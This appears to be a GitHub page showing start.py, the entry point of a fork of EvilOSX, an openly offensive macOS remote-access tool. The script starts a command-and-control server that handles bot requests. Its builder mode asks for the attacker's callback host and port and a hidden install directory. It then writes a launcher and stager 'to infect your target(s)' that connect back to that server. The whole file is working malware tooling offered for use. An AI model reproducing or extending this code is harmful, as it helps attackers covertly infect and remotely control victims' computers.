forked from Marten4n6/EvilOSX
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathstart.py
161 lines (125 loc) · 5.97 KB
/
start.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Starts the server."""
__author__ = "Marten4n6"
__license__ = "GPLv3"
from argparse import ArgumentParser
from os import path
from sys import exit
from uuid import uuid4
from bot import launchers, loaders
from server.http import start_server
from server.model import Model
from server.version import VERSION
from server.view.cli import ViewCLI
from server.view.gui import ViewGUI
BANNER = """\
▓█████ ██▒ █▓ ██▓ ██▓ ▒█████ ██████ ▒██ ██▒
▓█ ▀▓██░ █▒▓██▒▓██▒ ▒██▒ ██▒▒██ ▒ ▒▒ █ █ ▒░
▒███ ▓██ █▒░▒██▒▒██░ ▒██░ ██▒░ ▓██▄ ░░ █ ░
▒▓█ ▄ ▒██ █░░░██░▒██░ ▒██ ██░ ▒ ██▒ ░ █ █ ▒ @{} (v{})
░▒████▒ ▒▀█░ ░██░░██████▒░ ████▓▒░▒██████▒▒▒██▒ ▒██▒ GPLv3 licensed
░░ ▒░ ░ ░ ▐░ ░▓ ░ ▒░▓ ░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░▒▒ ░ ░▓ ░
░ ░ ░ ░ ░░ ▒ ░░ ░ ▒ ░ ░ ▒ ▒░ ░ ░▒ ░ ░░░ ░▒ ░
░ ░░ ▒ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
""".format(__author__, VERSION)
MESSAGE_INPUT = "[\033[1m?\033[0m] "
MESSAGE_INFO = "[\033[94mI\033[0m] "
MESSAGE_ATTENTION = "[\033[91m!\033[0m] "
def builder():
server_host = input(MESSAGE_INPUT + "Server host (where EvilOSX will connect to): ")
server_port = int(input(MESSAGE_INPUT + "Server port: "))
program_directory = input(MESSAGE_INPUT + "Where should EvilOSX live? "
"(Leave empty for ~/Library/Containers/.<RANDOM>): ")
if not program_directory:
program_directory = "~/Library/Containers/.{}".format(launchers.get_random_string())
# Select a launcher
launcher_names = launchers.get_names()
print(MESSAGE_INFO + "{} available launchers: ".format(len(launcher_names)))
for i, launcher_name in enumerate(launcher_names):
print("{} = {}".format(str(i), launcher_name))
while True:
try:
selected_launcher = input(MESSAGE_INPUT + "Launcher to use (Leave empty for 1): ")
if not selected_launcher:
selected_launcher = 1
else:
selected_launcher = int(selected_launcher)
selected_launcher = launcher_names[selected_launcher]
break
except (ValueError, IndexError):
continue
# Select a loader
loader_names = loaders.get_names()
print(MESSAGE_INFO + "{} available loaders: ".format(len(loader_names)))
for i, loader_name in enumerate(loader_names):
print("{} = {} ({})".format(str(i), loader_name, loaders.get_info(loader_name)["Description"]))
while True:
try:
selected_loader = input(MESSAGE_INPUT + "Loader to use (Leave empty for 0): ")
if not selected_loader:
selected_loader = 0
else:
selected_loader = int(selected_loader)
selected_loader = loader_names[selected_loader]
break
except (ValueError, IndexError):
continue
set_options = []
for option_message in loaders.get_option_messages(selected_loader):
set_options.append(input(MESSAGE_INPUT + option_message))
# Loader setup
loader_options = loaders.get_options(selected_loader, set_options)
loader_options["program_directory"] = program_directory
# Create the launcher
print(MESSAGE_INFO + "Creating the \"{}\" launcher...".format(selected_launcher))
stager = launchers.create_stager(server_host, server_port, loader_options)
launcher_extension, launcher = launchers.generate(selected_launcher, stager)
launcher_path = path.realpath(path.join(path.dirname(__file__), "data", "builds", "Launcher-{}.{}".format(
str(uuid4())[:6], launcher_extension
)))
with open(launcher_path, "w") as output_file:
output_file.write(launcher)
print(MESSAGE_INFO + "Launcher written to: {}".format(launcher_path))
def main():
parser = ArgumentParser()
parser.add_argument("-p", "--port", help="server port to listen on", type=int)
parser.add_argument("--cli", help="show the command line interface", action="store_true")
parser.add_argument("--builder", help="build a launcher to infect your target(s)", action="store_true")
parser.add_argument("--no-banner", help="prevents the EvilOSX banner from being displayed", action="store_true")
arguments = parser.parse_args()
if not arguments.no_banner:
try:
print(BANNER)
except UnicodeEncodeError:
# Thrown on my Raspberry PI (via SSH).
print(MESSAGE_ATTENTION + "Failed to print fancy banner, skipping...")
if arguments.builder:
# Run the builder then exit.
builder()
exit(0)
if arguments.port:
server_port = arguments.port
else:
while True:
try:
server_port = int(input(MESSAGE_INPUT + "Server port to listen on: "))
break
except ValueError:
print(MESSAGE_ATTENTION + "Invalid port.")
continue
model = Model()
view = ViewCLI(model, server_port) if arguments.cli else ViewGUI(model, server_port)
# Start handling bot requests
start_server(model, view, server_port)
# Start the view, blocks until exit.
view.start()
print(MESSAGE_INFO + "Feel free to submit any issues or feature requests on GitHub.")
print(MESSAGE_INFO + "Goodbye!")
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print("\n" + MESSAGE_ATTENTION + "Interrupted.")
exit(0)